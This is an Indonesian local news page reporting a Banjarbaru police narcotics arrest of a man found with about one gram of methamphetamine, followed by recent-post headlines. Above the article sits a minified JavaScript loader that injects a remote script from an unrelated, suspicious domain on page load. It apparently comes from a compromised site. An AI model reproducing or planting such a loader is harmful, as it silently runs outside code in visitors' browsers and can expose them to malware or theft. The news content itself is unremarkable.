(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Lelaki Warga Kelayan Diringkus Satresnarkoba Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarbaru menciduk pelaku aktivitas peredaran gelap narkotika di Jalan Ahmad Yani Kilometer 33, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Penangkapan terjadi pada Jumat (2/8/2024), pihak kepolisian mendapati laporan dari masyarakat terkait adanya peredaran gelap narkoba di wilayah tersebut.

Kapolres Banjarbaru, AKBP Dody Harza Kusumah melalui Kasi Humas AKP Syahruji mengatakan, polisi kemudian menindak lanjuti laporan dengan melakukan penyelidikan.

Baca juga: Peringatan Hari Indonesia Menabung Bersama Pelajar SLBN 2 Martapura

“Setelah mendapatkan informasi yang cukup, sekitar pulul 21.00 Wita Satresnarkoba Polres Banjarbaru berhasil menangkap seorang laki-laki berinisial RH (40) di Jalan Ahmad Yani Km 33.

RH diketahui merupakan warga Jalan Kelayan A Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

“Dengan menunjukan surat perintah tugas dengan disaksikan oleh warga petugas kemudian melakukan penggeledahan terhadap RH,” sambungnya.

Baca juga: IPP Naik, Gubernur Kalsel Raih Dua Penghargaan Kemenpora RI

Saat digeledah, RH menyimpan satu lembar plastik klip yang di dalamnta berisi narkotika jenis sabu dengan berat kotor seberat 1,16 gram.

Setelah ditimbang narkotika itu memiliki berat bersih 1,00 gram. Kemudian polisi juga menemukan sebuah handphone merk Samsung warna biru tua, selembar amplop warna putih dan uang tunai sebesar Rp40 ribu.

“RH dan barang bukti diamankan ke Polres Banjarbaru guna menjalani proses hukum lebih lanjut,” tuntas Syahruji. RH telah ditetapkan sebagai tersangka dan akibat perbuatannya terancam hukuman seperti termuat dalam pasal 114 ayat (1) sub pasal 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.